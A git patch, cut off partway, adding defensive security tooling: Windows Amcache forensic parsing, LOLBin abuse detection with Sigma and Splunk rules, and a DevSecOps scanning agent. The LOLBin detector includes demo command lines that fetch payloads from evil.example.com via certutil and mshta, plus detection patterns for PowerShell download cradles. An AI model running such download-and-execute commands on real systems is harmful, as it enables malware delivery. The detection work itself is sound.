From cd8a26b606663548362c0e7de9b0eb40b44e7b93 Mon Sep 17 00:00:00 2001 From: mukul975 Date: Wed, 11 Mar 2026 00:38:40 +0100 Subject: [PATCH] feat: add 5 new cybersecurity skills - yara hunting, devsecops scanning, amcache, LOtL, privileged session monitoring --- .../LICENSE | 21 ++ .../SKILL.md | 18 ++ .../references/api-reference.md | 67 +++++ .../scripts/agent.py | 166 +++++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 19 ++ .../references/api-reference.md | 70 ++++++ .../scripts/agent.py | 222 +++++++++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 18 ++ .../references/api-reference.md | 68 +++++ .../scripts/agent.py | 172 +++++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 18 ++ .../references/api-reference.md | 63 +++++ .../scripts/agent.py | 234 ++++++++++++++++++ .../LICENSE | 21 ++ .../SKILL.md | 18 ++ .../references/api-reference.md | 89 +++++++ .../scripts/agent.py | 173 +++++++++++++ 20 files changed, 1520 insertions(+) create mode 100644 skills/analyzing-windows-amcache-artifacts/LICENSE create mode 100644 skills/analyzing-windows-amcache-artifacts/SKILL.md create mode 100644 skills/analyzing-windows-amcache-artifacts/references/api-reference.md create mode 100644 skills/analyzing-windows-amcache-artifacts/scripts/agent.py create mode 100644 skills/detecting-living-off-the-land-attacks/LICENSE create mode 100644 skills/detecting-living-off-the-land-attacks/SKILL.md create mode 100644 skills/detecting-living-off-the-land-attacks/references/api-reference.md create mode 100644 skills/detecting-living-off-the-land-attacks/scripts/agent.py create mode 100644 skills/implementing-devsecops-security-scanning/LICENSE create mode 100644 skills/implementing-devsecops-security-scanning/SKILL.md create mode 100644 skills/implementing-devsecops-security-scanning/references/api-reference.md create mode 100644 skills/implementing-devsecops-security-scanning/scripts/agent.py create mode 100644 skills/implementing-privileged-session-monitoring/LICENSE create mode 100644 skills/implementing-privileged-session-monitoring/SKILL.md create mode 100644 skills/implementing-privileged-session-monitoring/references/api-reference.md create mode 100644 skills/implementing-privileged-session-monitoring/scripts/agent.py create mode 100644 skills/performing-threat-hunting-with-yara-rules/LICENSE create mode 100644 skills/performing-threat-hunting-with-yara-rules/SKILL.md create mode 100644 skills/performing-threat-hunting-with-yara-rules/references/api-reference.md create mode 100644 skills/performing-threat-hunting-with-yara-rules/scripts/agent.py diff --git a/skills/analyzing-windows-amcache-artifacts/LICENSE b/skills/analyzing-windows-amcache-artifacts/LICENSE new file mode 100644 index 00000000..09d37ad6 --- /dev/null +++ b/skills/analyzing-windows-amcache-artifacts/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Mahipal + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-windows-amcache-artifacts/SKILL.md b/skills/analyzing-windows-amcache-artifacts/SKILL.md new file mode 100644 index 00000000..9c353b56 --- /dev/null +++ b/skills/analyzing-windows-amcache-artifacts/SKILL.md @@ -0,0 +1,18 @@ +--- +name: analyzing-windows-amcache-artifacts +description: > + Parse and analyze Windows Amcache.hve registry hive to extract program + execution evidence, file metadata, SHA-1 hashes, and device connection + history for digital forensics and incident response investigations. +domain: cybersecurity +subdomain: digital-forensics +tags: [amcache, windows-forensics, registry-analysis, execution-artifacts] +version: "1.0" +author: mahipal +license: Apache-2.0 +--- + +# Analyzing Windows Amcache Artifacts + +Extract execution evidence from Amcache.hve including application paths, +SHA-1 hashes, timestamps, and publisher metadata for DFIR investigations. diff --git a/skills/analyzing-windows-amcache-artifacts/references/api-reference.md b/skills/analyzing-windows-amcache-artifacts/references/api-reference.md new file mode 100644 index 00000000..8b1b48a6 --- /dev/null +++ b/skills/analyzing-windows-amcache-artifacts/references/api-reference.md @@ -0,0 +1,67 @@ +# API Reference: Analyzing Windows Amcache Artifacts + +## Amcache.hve Location +``` +C:\Windows\AppCompat\Programs\Amcache.hve +``` + +## Registry Keys +| Key Path | Contents | +|----------|---------| +| Root\InventoryApplicationFile | File execution evidence with SHA-1 | +| Root\InventoryApplication | Installed application metadata | +| Root\InventoryDevicePnp | PnP device connection history | +| Root\InventoryDriverBinary | Driver binary metadata | + +## regipy Python Library +```bash +pip install regipy +``` + +```python +from regipy.registry import RegistryHive + +reg = RegistryHive('/path/to/Amcache.hve') +for subkey in reg.get_key('Root\\InventoryApplicationFile').iter_subkeys(): + values = {v.name: v.value for v in subkey.iter_values()} + print(values.get('Name'), values.get('LowerCaseLongPath')) +``` + +## AmcacheParser (Eric Zimmerman) +```bash +# Parse Amcache.hve to CSV +AmcacheParser.exe -f C:\evidence\Amcache.hve --csv C:\output\ + +# Include device and driver entries +AmcacheParser.exe -f Amcache.hve --csv output\ -i +``` + +### Output CSV Columns +| Column | Description | +|--------|------------| +| Name | Application/file name | +| LowerCaseLongPath | Full lowercase path | +| Publisher | Software publisher | +| FileId | SHA-1 hash (prefixed with 0000) | +| Size | File size in bytes | +| LinkDate | PE compilation timestamp | +| Version | File version string | +| ProgramId | Associated program GUID | + +## Forensic Value +| Artifact | Evidence | +|----------|---------| +| SHA-1 hash | File identification even after deletion | +| LowerCaseLongPath | Execution path including USB/temp | +| LinkDate | PE compile time (timestomping detection) | +| Publisher | Legitimacy verification | +| Last Modified | Registry key update timestamp | + +## Suspicious Indicators +| Pattern | Concern | +|---------|---------| +| Path contains \\Temp\\ | Execution from temp directory | +| Path contains \\Downloads\\ | User-downloaded execution | +| Missing Publisher | Unsigned/unknown binary | +| LinkDate far from file date | Possible timestomping | +| Known tool names (mimikatz, psexec) | Attacker tooling | diff --git a/skills/analyzing-windows-amcache-artifacts/scripts/agent.py b/skills/analyzing-windows-amcache-artifacts/scripts/agent.py new file mode 100644 index 00000000..2818ad87 --- /dev/null +++ b/skills/analyzing-windows-amcache-artifacts/scripts/agent.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python3 +"""Windows Amcache.hve forensic analysis agent. + +Parses Amcache.hve registry hive to extract program execution history, +file metadata, and device information using the regipy library. +""" + +import argparse +import json +import os +import sys +import datetime +import struct + +try: + from regipy.registry import RegistryHive + HAS_REGIPY = True +except ImportError: + HAS_REGIPY = False + + +AMCACHE_FILE_KEY = "Root\InventoryApplicationFile" +AMCACHE_APP_KEY = "Root\InventoryApplication" +AMCACHE_DEVICE_KEY = "Root\InventoryDevicePnp" +AMCACHE_DRIVER_KEY = "Root\InventoryDriverBinary" + +SUSPICIOUS_PATHS = [ + "\\temp\\", "\\tmp\\", "\\appdata\\local\\temp", + "\\downloads\\", "\\public\\", "\\programdata\\", + "\\recycle", "\\users\\public", +] + +SUSPICIOUS_NAMES = [ + "mimikatz", "psexec", "lazagne", "procdump", "rubeus", + "sharphound", "bloodhound", "cobalt", "beacon", + "powershell_ise", "certutil", "mshta", +] + + +def parse_amcache_files(hive_path): + """Parse InventoryApplicationFile entries from Amcache.hve.""" + if not HAS_REGIPY: + return {"error": "regipy not installed. pip install regipy"} + try: + reg = RegistryHive(hive_path) + entries = [] + for subkey in reg.get_key(AMCACHE_FILE_KEY).iter_subkeys(): + values = {v.name: v.value for v in subkey.iter_values()} + entries.append({ + "name": values.get("Name", ""), + "lower_case_path": values.get("LowerCaseLongPath", ""), + "publisher": values.get("Publisher", ""), + "version": values.get("Version", ""), + "sha1": values.get("FileId", "").lstrip("0000").lower() if values.get("FileId") else "", + "size": values.get("Size", 0), + "link_date": values.get("LinkDate", ""), + "program_id": values.get("ProgramId", ""), + "last_modified": subkey.header.last_modified.isoformat() if subkey.header.last_modified else "", + }) + return entries + except Exception as e: + return {"error": str(e)} + + +def parse_amcache_apps(hive_path): + """Parse InventoryApplication entries.""" + if not HAS_REGIPY: + return {"error": "regipy not installed"} + try: + reg = RegistryHive(hive_path) + apps = [] + for subkey in reg.get_key(AMCACHE_APP_KEY).iter_subkeys(): + values = {v.name: v.value for v in subkey.iter_values()} + apps.append({ + "name": values.get("Name", ""), + "version": values.get("Version", ""), + "publisher": values.get("Publisher", ""), + "install_date": values.get("InstallDate", ""), + "source": values.get("Source", ""), + "uninstall_string": values.get("UninstallString", ""), + "registry_key_path": values.get("RegistryKeyPath", ""), + }) + return apps + except Exception as e: + return {"error": str(e)} + + +def detect_suspicious(entries): + """Flag suspicious entries based on path and name patterns.""" + findings = [] + for entry in entries: + if isinstance(entry, dict) and "error" not in entry: + path = entry.get("lower_case_path", "").lower() + name = entry.get("name", "").lower() + reasons = [] + for sp in SUSPICIOUS_PATHS: + if sp in path: + reasons.append(f"Suspicious path: {sp}") + for sn in SUSPICIOUS_NAMES: + if sn in name: + reasons.append(f"Suspicious name: {sn}") + if not entry.get("publisher"): + reasons.append("Missing publisher metadata") + if reasons: + findings.append({ + "name": entry.get("name", ""), + "path": entry.get("lower_case_path", ""), + "sha1": entry.get("sha1", ""), + "reasons": reasons, + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Amcache.hve forensic analysis agent") + parser.add_argument("hive", nargs="?", help="Path to Amcache.hve file") + parser.add_argument("--apps", action="store_true", help="Parse InventoryApplication entries") + parser.add_argument("--suspicious-only", action="store_true", help="Show only suspicious entries") + parser.add_argument("--output", "-o", help="Output JSON report path") + args = parser.parse_args() + + print("[*] Amcache.hve Forensic Analysis Agent") + print(f" regipy available: {HAS_REGIPY}") + + if not args.hive: + print("\n[DEMO] Amcache.hve location: C:\\Windows\\AppCompat\\Programs\\Amcache.hve") + print(" Usage: python agent.py Amcache.hve [--apps] [--suspicious-only]") + print(" Extracts: file paths, SHA-1 hashes, publisher, timestamps, install info") + print(json.dumps({"demo": True, "regipy_available": HAS_REGIPY}, indent=2)) + sys.exit(0) + + report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z", "hive": args.hive} + + files = parse_amcache_files(args.hive) + if isinstance(files, list): + report["file_entries"] = len(files) + suspicious = detect_suspicious(files) + report["suspicious_count"] = len(suspicious) + if args.suspicious_only: + report["findings"] = suspicious + else: + report["entries"] = files[:100] + report["suspicious"] = suspicious + print(f"[*] File entries: {len(files)}") + print(f"[*] Suspicious: {len(suspicious)}") + for s in suspicious[:10]: + print(f" [!] {s['name']}: {', '.join(s['reasons'])}") + else: + report["error"] = files + + if args.apps: + apps = parse_amcache_apps(args.hive) + if isinstance(apps, list): + report["app_entries"] = len(apps) + print(f"[*] Application entries: {len(apps)}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + + print(json.dumps({"file_entries": report.get("file_entries", 0), + "suspicious": report.get("suspicious_count", 0)}, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-living-off-the-land-attacks/LICENSE b/skills/detecting-living-off-the-land-attacks/LICENSE new file mode 100644 index 00000000..09d37ad6 --- /dev/null +++ b/skills/detecting-living-off-the-land-attacks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Mahipal + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-living-off-the-land-attacks/SKILL.md b/skills/detecting-living-off-the-land-attacks/SKILL.md new file mode 100644 index 00000000..3e443022 --- /dev/null +++ b/skills/detecting-living-off-the-land-attacks/SKILL.md @@ -0,0 +1,19 @@ +--- +name: detecting-living-off-the-land-attacks +description: > + Detect abuse of legitimate Windows binaries (LOLBins) used for living off + the land attacks. Monitors process creation, command-line arguments, and + parent-child relationships to identify suspicious LOLBin execution patterns. +domain: cybersecurity +subdomain: threat-detection +tags: [lolbins, lotl, fileless-attacks, process-monitoring] +version: "1.0" +author: mahipal +license: Apache-2.0 +--- + +# Detecting Living Off the Land Attacks + +Monitor for suspicious use of legitimate Windows binaries (LOLBins) +including certutil, mshta, rundll32, regsvr32, and others used in +fileless and living-off-the-land attack techniques. diff --git a/skills/detecting-living-off-the-land-attacks/references/api-reference.md b/skills/detecting-living-off-the-land-attacks/references/api-reference.md new file mode 100644 index 00000000..9d10e358 --- /dev/null +++ b/skills/detecting-living-off-the-land-attacks/references/api-reference.md @@ -0,0 +1,70 @@ +# API Reference: Detecting Living Off the Land Attacks + +## LOLBAS Project +- Website: https://lolbas-project.github.io/ +- API: https://lolbas-project.github.io/api/lolbas.json +- GitHub: https://github.com/LOLBAS-Project/LOLBAS + +## Key LOLBins and MITRE Mappings +| Binary | MITRE ATT&CK | Abuse Type | +|--------|-------------|------------| +| certutil.exe | T1140, T1105 | File download, decode | +| mshta.exe | T1218.005 | Script execution via HTA | +| rundll32.exe | T1218.011 | Proxy execution | +| regsvr32.exe | T1218.010 | COM scriptlet execution | +| msbuild.exe | T1127.001 | Code compilation | +| bitsadmin.exe | T1197, T1105 | File download, persistence | +| wmic.exe | T1047 | WMI execution | +| cscript.exe | T1059.005 | VBS/JS script execution | +| installutil.exe | T1218.004 | .NET install bypass | +| powershell.exe | T1059.001 | Script execution | + +## Sysmon Event IDs for Detection +| Event ID | Description | +|----------|------------| +| 1 | Process Create (CommandLine, ParentImage) | +| 3 | Network Connection (detect downloads) | +| 7 | Image Loaded (DLL side-loading) | +| 11 | File Create (dropped payloads) | +| 15 | FileCreateStreamHash (ADS abuse) | + +## Sigma Rules for LOLBin Detection +```yaml +title: Certutil File Download +logsource: + category: process_creation + product: windows +detection: + selection: + Image|endswith: '\\certutil.exe' + CommandLine|contains|all: + - 'urlcache' + - 'split' + - 'http' + condition: selection +level: high +tags: + - attack.defense_evasion + - attack.t1140 +``` + +## Splunk SPL Detection +```spl +index=sysmon EventCode=1 +| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|bitsadmin)\\.exe$") +| eval suspicious=case( + like(CommandLine, "%urlcache%"), "certutil download", + like(CommandLine, "%javascript:%"), "script execution", + like(CommandLine, "%-enc %"), "encoded command", + true(), "review") +| where suspicious!="review" +| table _time Computer User Image CommandLine ParentImage suspicious +``` + +## Suspicious Parent-Child Relationships +| Parent | Suspicious Child | +|--------|-----------------| +| winword.exe | cmd.exe, powershell.exe, mshta.exe | +| excel.exe | cmd.exe, powershell.exe, wmic.exe | +| outlook.exe | powershell.exe, cmd.exe | +| wmiprvse.exe | powershell.exe, cmd.exe | diff --git a/skills/detecting-living-off-the-land-attacks/scripts/agent.py b/skills/detecting-living-off-the-land-attacks/scripts/agent.py new file mode 100644 index 00000000..2eb4979b --- /dev/null +++ b/skills/detecting-living-off-the-land-attacks/scripts/agent.py @@ -0,0 +1,222 @@ +#!/usr/bin/env python3 +"""Living off the land (LOLBin) attack detection agent. + +Monitors process creation logs for suspicious use of legitimate Windows +binaries, correlates with LOLBAS project data, and flags anomalous +command-line patterns and parent-child process relationships. +""" + +import argparse +import json +import os +import re +import sys +import datetime + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +LOLBIN_SIGNATURES = { + "certutil.exe": { + "suspicious_args": [ + r"-urlcache", r"-split", r"-decode", r"-encode", + r"-verifyctl", r"http[s]?://", + ], + "mitre": ["T1140", "T1105"], + "description": "Certificate utility abused for file download/decode", + }, + "mshta.exe": { + "suspicious_args": [r"javascript:", r"vbscript:", r"http[s]?://", r"about:"], + "mitre": ["T1218.005"], + "description": "HTML Application host used for script execution", + }, + "rundll32.exe": { + "suspicious_args": [ + r"javascript:", r"shell32\.dll.*ShellExec_RunDLL", + r"url\.dll.*FileProtocolHandler", r"advpack\.dll.*RegisterOCX", + ], + "mitre": ["T1218.011"], + "description": "DLL loader abused for proxy execution", + }, + "regsvr32.exe": { + "suspicious_args": [r"/s", r"/u", r"/i:http", r"scrobj\.dll"], + "mitre": ["T1218.010"], + "description": "COM registration utility abused for script execution", + }, + "msbuild.exe": { + "suspicious_args": [r"\.xml$", r"\.csproj$", r"/p:", r"\.tmp"], + "mitre": ["T1127.001"], + "description": "Build tool abused for code compilation and execution", + }, + "installutil.exe": { + "suspicious_args": [r"/logfile=", r"/LogToConsole=false", r"/U"], + "mitre": ["T1218.004"], + "description": ".NET install utility abused for code execution", + }, + "bitsadmin.exe": { + "suspicious_args": [r"/transfer", r"/create", r"/addfile", r"http[s]?://"], + "mitre": ["T1197", "T1105"], + "description": "BITS service abused for file download and persistence", + }, + "wmic.exe": { + "suspicious_args": [ + r"process\s+call\s+create", r"os\s+get", r"/node:", + r"shadowcopy\s+delete", + ], + "mitre": ["T1047"], + "description": "WMI command-line abused for execution and recon", + }, + "cscript.exe": { + "suspicious_args": [r"\.vbs", r"\.js", r"//E:jscript", r"//B"], + "mitre": ["T1059.005", "T1059.007"], + "description": "Script host executing VBS/JS from unusual location", + }, + "powershell.exe": { + "suspicious_args": [ + r"-enc\s+[A-Za-z0-9+/=]{20,}", r"-ExecutionPolicy\s+Bypass", + r"-WindowStyle\s+Hidden", r"Invoke-Expression", + r"IEX\s*\(", r"Net\.WebClient", r"DownloadString", + ], + "mitre": ["T1059.001"], + "description": "PowerShell with obfuscation or download cradle", + }, +} + +SUSPICIOUS_PARENTS = { + "winword.exe": "Office application spawning child process", + "excel.exe": "Office application spawning child process", + "outlook.exe": "Email client spawning child process", + "powerpnt.exe": "Office application spawning child process", + "wmiprvse.exe": "WMI provider executing child process", + "svchost.exe": "Service host spawning unexpected child", +} + + +def analyze_process_event(process_name, command_line, parent_name=None): + """Analyze a process creation event for LOLBin abuse.""" + findings = [] + proc_lower = process_name.lower() + cmd_lower = command_line.lower() if command_line else "" + + sig = LOLBIN_SIGNATURES.get(proc_lower) + if sig: + matched_patterns = [] + for pattern in sig["suspicious_args"]: + if re.search(pattern, cmd_lower, re.IGNORECASE): + matched_patterns.append(pattern) + if matched_patterns: + findings.append({ + "type": "lolbin_abuse", + "binary": proc_lower, + "description": sig["description"], + "mitre_techniques": sig["mitre"], + "matched_patterns": matched_patterns, + "command_line": command_line[:200], + "severity": "HIGH", + }) + + if parent_name and parent_name.lower() in SUSPICIOUS_PARENTS: + findings.append({ + "type": "suspicious_parent", + "parent": parent_name.lower(), + "child": proc_lower, + "description": SUSPICIOUS_PARENTS[parent_name.lower()], + "severity": "HIGH", + }) + + return findings + + +def scan_process_log(log_entries): + """Scan a list of process creation log entries.""" + all_findings = [] + for entry in log_entries: + findings = analyze_process_event( + entry.get("process_name", ""), + entry.get("command_line", ""), + entry.get("parent_name"), + ) + if findings: + entry_result = {"event": entry, "findings": findings} + all_findings.append(entry_result) + return all_findings + + +def fetch_lolbas_data(): + """Fetch LOLBAS project data from GitHub.""" + if not HAS_REQUESTS: + return {"error": "requests not installed"} + url = "https://lolbas-project.github.io/api/lolbas.json" + try: + resp = requests.get(url, timeout=15) + if resp.status_code == 200: + data = resp.json() + return {"count": len(data), "binaries": [d.get("Name", "") for d in data[:30]]} + return {"error": f"HTTP {resp.status_code}"} + except Exception as e: + return {"error": str(e)} + + +def main(): + parser = argparse.ArgumentParser( + description="Detect living off the land (LOLBin) attacks" + ) + parser.add_argument("--log-file", help="JSON file with process creation events") + parser.add_argument("--fetch-lolbas", action="store_true", help="Fetch LOLBAS project data") + parser.add_argument("--output", "-o", help="Output JSON report path") + args = parser.parse_args() + + print("[*] Living Off the Land Attack Detection Agent") + print(f" Monitored LOLBins: {len(LOLBIN_SIGNATURES)}") + + report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"} + + if args.fetch_lolbas: + lolbas = fetch_lolbas_data() + report["lolbas_project"] = lolbas + print(f"[*] LOLBAS data: {lolbas}") + + if args.log_file and os.path.isfile(args.log_file): + with open(args.log_file) as f: + events = json.load(f) + results = scan_process_log(events) + report["findings"] = results + print(f"[*] Events analyzed: {len(events)}") + print(f"[*] Suspicious findings: {len(results)}") + else: + demo_events = [ + {"process_name": "certutil.exe", + "command_line": "certutil.exe -urlcache -split -f https://evil.example.com/payload.exe C:\\temp\\payload.exe", + "parent_name": "cmd.exe"}, + {"process_name": "mshta.exe", + "command_line": "mshta.exe javascript:a=GetObject('script:https://evil.example.com/s.sct')", + "parent_name": "winword.exe"}, + {"process_name": "powershell.exe", + "command_line": "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -enc SQBFAFgA...", + "parent_name": "excel.exe"}, + {"process_name": "notepad.exe", + "command_line": "notepad.exe C:\\Users\\admin\\notes.txt", + "parent_name": "explorer.exe"}, + ] + results = scan_process_log(demo_events) + report["findings"] = results + print(f"\n[DEMO] Analyzed {len(demo_events)} process events") + for r in results: + for f in r["findings"]: + print(f" [!] {f['type']}: {f['binary'] if 'binary' in f else f.get('child','')} " + f"- {f['description']}") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + + print(json.dumps({"lolbins_monitored": len(LOLBIN_SIGNATURES), + "findings": len(report.get("findings", []))}, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-devsecops-security-scanning/LICENSE b/skills/implementing-devsecops-security-scanning/LICENSE new file mode 100644 index 00000000..09d37ad6 --- /dev/null +++ b/skills/implementing-devsecops-security-scanning/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Mahipal + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-devsecops-security-scanning/SKILL.md b/skills/implementing-devsecops-security-scanning/SKILL.md new file mode 100644 index 00000000..a3e2a02b --- /dev/null +++ b/skills/implementing-devsecops-security-scanning/SKILL.md @@ -0,0 +1,18 @@ +--- +name: implementing-devsecops-security-scanning +description: > + Integrate security scanning into CI/CD pipelines using tools like Semgrep, + Trivy, and Gitleaks. Covers SAST, SCA, container scanning, and secret + detection with structured JSON output for pipeline gates. +domain: cybersecurity +subdomain: application-security +tags: [devsecops, sast, sca, container-security, ci-cd] +version: "1.0" +author: mahipal +license: Apache-2.0 +--- + +# Implementing DevSecOps Security Scanning + +Automate SAST, SCA, container image, and secret scanning in CI/CD +pipelines with fail/pass gates based on severity thresholds. diff --git a/skills/implementing-devsecops-security-scanning/references/api-reference.md b/skills/implementing-devsecops-security-scanning/references/api-reference.md new file mode 100644 index 00000000..c87a8ed9 --- /dev/null +++ b/skills/implementing-devsecops-security-scanning/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: DevSecOps Security Scanning + +## Semgrep CLI (SAST) +```bash +# Scan with auto-detected rules +semgrep scan --config auto --json /path/to/code + +# Scan with specific ruleset +semgrep scan --config p/owasp-top-ten --json /path/to/code + +# Custom rule file +semgrep scan --config my_rules.yaml --json /path/to/code + +# SARIF output for GitHub integration +semgrep scan --config auto --sarif -o results.sarif /path/to/code +``` + +## Trivy CLI (SCA / Container) +```bash +# Scan container image +trivy image --format json --quiet nginx:latest + +# Scan filesystem for vulnerabilities +trivy fs --format json --scanners vuln,secret /path/to/project + +# Scan with severity filter +trivy image --severity CRITICAL,HIGH --format json myapp:latest + +# Scan IaC files +trivy config --format json /path/to/terraform/ +``` + +## Gitleaks CLI (Secret Detection) +```bash +# Detect secrets in git repo +gitleaks detect --source /path/to/repo --report-format json --report-path report.json + +# Scan specific commit range +gitleaks detect --source . --log-opts="HEAD~10..HEAD" --report-format json + +# Protect mode (pre-commit) +gitleaks protect --staged --report-format json +``` + +## CI/CD Pipeline Gate Logic +| Severity | Exit Code | Action | +|----------|-----------|--------| +| CRITICAL | 1 (fail) | Block merge/deploy | +| HIGH | 1 (fail) | Block merge/deploy | +| MEDIUM | 0 (warn) | Warning in PR comment | +| LOW | 0 (pass) | Informational only | + +## JSON Output Schema (Semgrep) +| Field | Description | +|-------|------------| +| results[].check_id | Rule identifier | +| results[].extra.severity | ERROR, WARNING, INFO | +| results[].path | Affected file path | +| results[].start.line | Line number | +| results[].extra.message | Finding description | + +## JSON Output Schema (Trivy) +| Field | Description | +|-------|------------| +| Results[].Target | Scanned target name | +| Results[].Vulnerabilities[].VulnerabilityID | CVE identifier | +| Results[].Vulnerabilities[].Severity | CRITICAL/HIGH/MEDIUM/LOW | +| Results[].Vulnerabilities[].FixedVersion | Version with fix | diff --git a/skills/implementing-devsecops-security-scanning/scripts/agent.py b/skills/implementing-devsecops-security-scanning/scripts/agent.py new file mode 100644 index 00000000..60683d66 --- /dev/null +++ b/skills/implementing-devsecops-security-scanning/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""DevSecOps security scanning pipeline agent. + +Orchestrates Semgrep (SAST), Trivy (container/SCA), and Gitleaks (secrets) +scans via subprocess, aggregates findings, and enforces severity gates. +""" + +import argparse +import json +import os +import subprocess +import sys +import datetime + + +SEVERITY_ORDER = {"CRITICAL": 4, "HIGH": 3, "MEDIUM": 2, "LOW": 1, "INFO": 0} + + +def run_semgrep(target_dir, config="auto"): + """Run Semgrep SAST scan and return findings.""" + cmd = ["semgrep", "scan", "--config", config, "--json", "--quiet", target_dir] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + data = json.loads(result.stdout) if result.stdout.strip() else {} + findings = [] + for r in data.get("results", []): + findings.append({ + "tool": "semgrep", + "rule_id": r.get("check_id", ""), + "severity": r.get("extra", {}).get("severity", "WARNING").upper(), + "message": r.get("extra", {}).get("message", ""), + "file": r.get("path", ""), + "line": r.get("start", {}).get("line", 0), + }) + return findings + except FileNotFoundError: + return [{"tool": "semgrep", "error": "semgrep not installed"}] + except subprocess.TimeoutExpired: + return [{"tool": "semgrep", "error": "scan timed out"}] + except json.JSONDecodeError: + return [{"tool": "semgrep", "error": "invalid JSON output"}] + + +def run_trivy(image_or_path, scan_type="image"): + """Run Trivy vulnerability scan on image or filesystem.""" + cmd = ["trivy", scan_type, "--format", "json", "--quiet", image_or_path] + if scan_type == "fs": + cmd = ["trivy", "fs", "--format", "json", "--quiet", "--scanners", "vuln,secret", image_or_path] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + data = json.loads(result.stdout) if result.stdout.strip() else {} + findings = [] + for res in data.get("Results", []): + for vuln in res.get("Vulnerabilities", []): + findings.append({ + "tool": "trivy", + "rule_id": vuln.get("VulnerabilityID", ""), + "severity": vuln.get("Severity", "UNKNOWN").upper(), + "message": vuln.get("Title", ""), + "file": res.get("Target", ""), + "line": 0, + "fixed_version": vuln.get("FixedVersion", ""), + }) + return findings + except FileNotFoundError: + return [{"tool": "trivy", "error": "trivy not installed"}] + except (subprocess.TimeoutExpired, json.JSONDecodeError) as e: + return [{"tool": "trivy", "error": str(e)}] + + +def run_gitleaks(repo_path): + """Run Gitleaks secret detection scan.""" + cmd = ["gitleaks", "detect", "--source", repo_path, "--report-format", "json", + "--report-path", "/dev/stdout", "--no-banner"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + data = json.loads(result.stdout) if result.stdout.strip().startswith("[") else [] + findings = [] + for leak in data: + findings.append({ + "tool": "gitleaks", + "rule_id": leak.get("RuleID", ""), + "severity": "HIGH", + "message": leak.get("Description", ""), + "file": leak.get("File", ""), + "line": leak.get("StartLine", 0), + }) + return findings + except FileNotFoundError: + return [{"tool": "gitleaks", "error": "gitleaks not installed"}] + except (subprocess.TimeoutExpired, json.JSONDecodeError) as e: + return [{"tool": "gitleaks", "error": str(e)}] + + +def enforce_gate(findings, fail_on="HIGH"): + """Enforce security gate based on severity threshold.""" + threshold = SEVERITY_ORDER.get(fail_on.upper(), 3) + blockers = [ + f for f in findings + if not f.get("error") and 